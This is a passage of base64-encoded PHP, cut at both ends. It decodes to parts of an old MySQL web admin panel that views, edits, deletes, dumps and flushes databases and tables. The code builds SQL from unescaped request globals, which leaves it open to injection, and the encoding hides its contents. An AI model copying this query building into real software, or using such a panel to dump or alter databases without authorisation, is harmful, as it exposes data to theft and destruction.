MSApCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+bmFtZSAuICI9IiAuICRkYXRhOwoKCQkJaWYo
IHN0cmxlbiggJGRhdGEgKSA+IDMwICkKCQkJCSRkYXRhID0gc3Vic3RyKCAkZGF0YSwgMCwgMzAg
KSAuICIuLi4iOwoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7CgkJCWVjaG8g
Ijx0ZD5cbiI7CgkJCWVjaG8gIiRkYXRhXG4iOwoJCQllY2hvICI8L3RkPlxuIjsKCQl9CgkJIAoJ
CWlmKCAka2V5ID09ICIiICkKCQkJZWNobyAiPHRkIGNvbHNwYW49Mj5ubyBLZXk8L3RkPlxuIjsK
CQllbHNlIHsKCQkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdERhdGEk
a2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5FZGl0PC9hPjwvdGQ+XG4i
OwoJCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kZWxldGVEYXRhJGtleSZk
Ym5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25m
aXJtKCdEZWxldGUgUm93PycpXCI+RGVsZXRlPC9hPjwvdGQ+XG4iOwoJCX0KCQllY2hvICI8L3Ry
PlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4iOwoKCWVjaG8gIjxmb250IHNpemU9Mj5cbiI7Cglp
ZigkYWN0aW9uID09ICJ2aWV3RGF0YSIpCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/
YWN0aW9uPXZpZXdEYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRo
b2Q9cG9zdD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9u
PXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVy
eVN0cicgbWV0aG9kPXBvc3Q+XG4iOwoJZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+XG4iOwoJZWNo
byAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsKCWVjaG8g
IjwvZm9udD5cbiI7CgllY2hvICIgfCAiOwoJaWYoICRwYWdlID4gMCApIHsKCQlpZigkYWN0aW9u
ID09ICJ2aWV3RGF0YSIpCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0Rh
dGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJ
ZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdl
KTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAidmlld0RhdGEiKQoJCQllY2hv
ICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5QcmV2PC9hPlxuIjsKCX0gZWxzZQoJCWVj
aG8gIlByZXYiOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0x
ICkgewoJCWlmKCRhY3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZw
YWdlPSIuKCRwYWdlKzIpOwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv
bj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVl
cnlTdHImcGFnZT0iLigkcGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9
PSAidmlld0RhdGEiKQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5OZXh0
PC9hPlxuIjsKCX0gZWxzZQoJCWVjaG8gIk5leHQiOwoJZWNobyAiIHwgIjsKCWlmKCAkcm93ID4g
JHJvd3BlcnBhZ2UgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdl
PlxuIjsKCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0dvJz5cbiI7Cgl9CgllY2hv
ICI8L2Zvcm0+XG4iOwoJZWNobyAiPC9mb250PlxuIjsKfQoKZnVuY3Rpb24gbWFuYWdlRGF0YSgg
JGNtZCApIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBf
U0VMRjsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7
CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBEYXRhPC9oMT5c
biI7CgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSAp
OwoJCSRudW0gPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOwoJCgkJJGtleSA9ICIiOwoJ
CWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNo
X2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp
CgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1l
IC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCQllbHNlCgkJCQkJ
JGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIn
IEFORCAiOwoJCX0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoK
CQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJCSRwUmVzdWx0ID0g
bXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJF
ICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJl
c3VsdCApOwoJfQoKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVu
YW1lPC9wPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+
XG4iOwoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWFjdGlvbiB2YWx1ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0
IiApCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRh
X3N1Ym1pdD5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9
JGRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFs
dWU9JHRhYmxlbmFtZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu
Zz0yPlxuIjsKCWVjaG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOwoJZWNobyAi
PHRoPlR5cGU8L3RoPlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+XG4iOwoJZWNobyAiPHRo
PkRhdGE8L3RoPlxuIjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVl
cnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlz
cWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxk
cyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysg
KSB7CgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7CgkJJGZpZWxkbmFt
ZSA9ICRmaWVsZFsiRmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJJGxl
biA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJCWVjaG8gIjx0cj4iOwoJ
CWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJd
LiI8L3RkPiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5h
bWV9X2Z1bmN0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPkFT
Q0lJXG4iOwoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8b3B0aW9uPlNPVU5ERVhc
biI7CgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxu
IjsKCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8b3B0aW9uPkZST01fVU5J
WFRJTUVcbiI7CgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAiPG9wdGlvbj5QQVNTV09S
RFxuIjsKCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNobyAiPG9wdGlvbj5QRVJJ
T0RfRElGRlxuIjsKCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJZWNobyAiPG9wdGlvbj5V
U0VSXG4iOwoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hvICI8b3B0aW9uPlJBTkRc
biI7CgkJZWNobyAiPC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCSR2YWx1ZSA9IGh0
bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAiYWRkIiApIHsKCQkJJHR5
cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51
bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBl
ID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJ
ZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRu
YW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkg
KSB7CgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9
CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsK
CQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9
NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOwoJCQkJZWxzZQoJCQkJ
CWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0k
ZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0
IiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAk
dHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJ
CQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5h
bWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3Qg
bmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0
cnRvayggIiciICkgKSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkKCQkJCQkJZWNobyAiPG9w
dGlvbiBzZWxlY3RlZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAiPG9wdGlvbj4kc3Ry
XG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJ
CQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVj
aG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmll
bGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNlCgkJCQkJZWNobyAiPHRk
Pjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+
JHZhbHVlPC90ZXh0YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90cj4iOwoJfQoJZWNobyAi
PC90YWJsZT48cD5cbiI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9
c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJ
CWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7CgllY2hvICI8
aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCkn
PlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAk
Y21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxk
bmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9s
aXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVs
ZHMoICRwUmVzdWx0ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUg
KTsKCWlmKCAkY21kID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5TRVJUIElOVE8gJHRhYmxl
bmFtZSBWQUxVRVMgKCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0g
IlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvciggJGkgPSAwOyAkaSA8ICRu
dW0tMTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsK
CQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07CgkJaWYoICRmdW5j
ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZiggJGZpZWxkLT5udW1lcmlj
ID09IDEgKSB7CgkJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdOwoJCQlpZigg
JGZ1bmMgIT0gIiIgKQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0
ciAuPSAiLCI7CgkJfSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVs
ZC0+bmFtZV07CgkJCWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7CgkJ
CWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVsZCA9IG15c3FsX2ZldGNo
X2ZpZWxkKCAkcFJlc3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkkcXVlcnlT
dHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UgCgkJJHF1ZXJ5U3RyIC49
ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOwoKCW15c3FsX3F1ZXJ5KCAkcXVl
cnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdE
YXRhKCAiIiApOwp9CgpmdW5jdGlvbiBkZWxldGVEYXRhKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs
ZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIs
ICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxl
bmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJJGtleSA9ICIi
OwoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRj
aF9maWVsZCggJHBSZXN1bHQsICRpICk7CgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp
CgkJCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApCgkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAu
ICI9IiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiIEFORCAiOwoJCQllbHNlCgkJCQkka2V5
IC49ICRmaWVsZC0+bmFtZSAuICI9JyIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIicgQU5E
ICI7Cgl9Cgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoKCW15c3Fs
X3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlTdHIgPSAgIkRFTEVU
RSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSI7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAk
bXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdEYXRhKCAiIiAp
Owp9CgpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpCnsKCWdsb2JhbCAkbXlz
cWxIYW5kbGUsJGRibmFtZTsKCQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5k
bGUgKTsKCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFibGUi
LCRteXNxbEhhbmRsZSk7CgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lk
LCBNWVNRTF9BU1NPQyk7CgkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJs
ZTtcbiIgLiAkdGFibGVkdW1wWydDcmVhdGUgVGFibGUnXSAuICI7XG5cbiI7CgoJZWNobyAkdGFi
bGVkdW1wOwoKCS8vIGdldCBkYXRhCgkkcm93cyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9N
ICR0YWJsZSIsJG15c3FsSGFuZGxlKTsKCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93
cyk7Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzLCBNWVNRTF9OVU0pKQoJ
ewoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOwoKCQkkZmllbGRj
b3VudGVyID0gLTE7CgkJJGZpcnN0ZmllbGQgPSAxOwoJCS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0
YQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQoJCXsKCQkJaWYgKCEkZmly
c3RmaWVsZCkKCQkJewoJCQkJJHRhYmxlZHVtcCAuPSAnLCAnOwoJCQl9CgkJCWVsc2UKCQkJewoJ
CQkJJGZpcnN0ZmllbGQgPSAwOwoJCQl9CgoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50
ZXIiXSkpCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gJ05VTEwnOwoJCQl9CgkJCWVsc2UKCQkJewoJ
CQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNv
dW50ZXIiXSkgLiAiJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQllY2hv
ICR0YWJsZWR1bXA7CgoJfQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsKfQoKZnVuY3Rpb24g
ZHVtcCgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRhY3Rpb24sICRkYm5hbWUsICR0YWJsZW5h
bWU7CgoJaWYoICRhY3Rpb24gPT0gImR1bXBUYWJsZSIgKXsKCgkJaGVhZGVyKCJDb250ZW50LWRp
c3Bvc2l0aW9uOiBmaWxlbmFtZT0kdGFibGVuYW1lLnNxbCIpOwoJCWhlYWRlcignQ29udGVudC10
eXBlOiB1bmtub3duL3Vua25vd24nKTsKCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1l
KTsKCQllY2hvICJcblxuXG4iOwoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkdGFibGVuYW1lIFRB
QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJZXhpdDsJCQoJCQkJCgl9ZWxzZXsKCQloZWFkZXIo
IkNvbnRlbnQtZGlzcG9zaXRpb246IGZpbGVuYW1lPSRkYm5hbWUuc3FsIik7CgkJaGVhZGVyKCdD
b250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOwoJCQoJCW15c3FsX3NlbGVjdF9kYiggJGRi
bmFtZSwgJG15c3FsSGFuZGxlICk7CgkJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFi
bGVzIiwkbXlzcWxIYW5kbGUpOwoJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1
ZXJ5X2lkLCBNWVNRTF9OVU0pKQoJCXsKCQkJCWZldGNoX3RhYmxlX2R1bXBfc3FsKCRyb3dbMF0p
OwoJCQkJZWNobyAiXG5cblxuIjsKCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRB
QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJCQllY2hvICJcblxuXG4iOwoJCX0KCQllY2hvICJc
clxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOwoJCWV4
aXQ7CQkKCgl9Cgp9CgpmdW5jdGlvbiB1dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRjb21t
YW5kOwoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIiIHx8
IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUgKSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5cbiI7
CgkJZWNobyAiU2hvd1xuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7
CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93
X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0PC9h
PlxuIjsKCQllY2hvICI8L3VsPlxuIjsKCQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+XG4i
OwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1
c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiAp
IHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJZWNo
byAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIFN1Y2Nlc3M8L2ZvbnQ+IjsKCQkJZWxzZQoJCQkJ
ZWNobyAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIEZhaWw8L2ZvbnQ+IjsKCQl9CgkJZWNobyAi
PGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5M
b2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlz
cWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkKCQkJCWVjaG8gIjxmb250IHNpemU9
MiBjb2xvcj1yZWQ+LSBTdWNjZXNzPC9mb250PiI7CgkJCWVsc2UKCQkJCWVjaG8gIjxmb250IHNp
emU9MiBjb2xvcj1yZWQ+LSBGYWlsPC9mb250PiI7CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdl
czwvYT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYo
IG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8
Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hv
ICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+
PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFi
bGVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBt
eXNxbF9xdWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBz
aXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9u
dCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+PGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9h
PlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1cyIgKSB7CgkJCWlmKCBteXNxbF9x
